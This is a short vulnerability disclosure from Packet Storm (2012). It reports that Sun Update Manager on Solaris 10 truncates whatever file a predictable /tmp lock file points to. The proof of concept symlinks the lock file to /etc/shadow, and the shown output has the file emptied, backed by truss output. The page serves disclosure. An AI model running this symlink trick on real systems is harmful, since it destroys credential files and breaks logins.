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Sun Update Manager /tmp Clobber

Sun Update Manager /tmp Clobber
Posted Jul 20, 2012
Authored by Larry W. Cashdollar

The Sun Update Manager suffers from a /tmp clobbering vulnerability.

tags | exploit
MD5 | 0160af41e98695cdfc1ac0a2858bf628

Sun Update Manager /tmp Clobber

Change Mirror Download
(author http://packetstormsecurity.org/user/lcashdol/)


Noticed this during routine patching.

/tmp file clobbering vulnerability in Sun Update manager.
7/15/2012

noticed this while patching my lab solaris system tonight.

larry@s0l4r1s:/tmp$ ln -s /etc/shadow com.sun.swup.client.LOCK

updatemanager is run

larry@n1caragua:/tmp$ ls -l /etc/shadow
-r-------- 1 root sys 0 Jul 19 18:49 /etc/shadow

SunOS s0l4r1s 5.10 Generic_147441-19 i86pc i386 i86pc
larry@n1caragua:~$

truss output:

4841/2: stat64("/tmp/com.sun.swup.client.LOCK", 0xD03FEAB0) = 0
4841/2: open64("/tmp/com.sun.swup.client.LOCK", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 5


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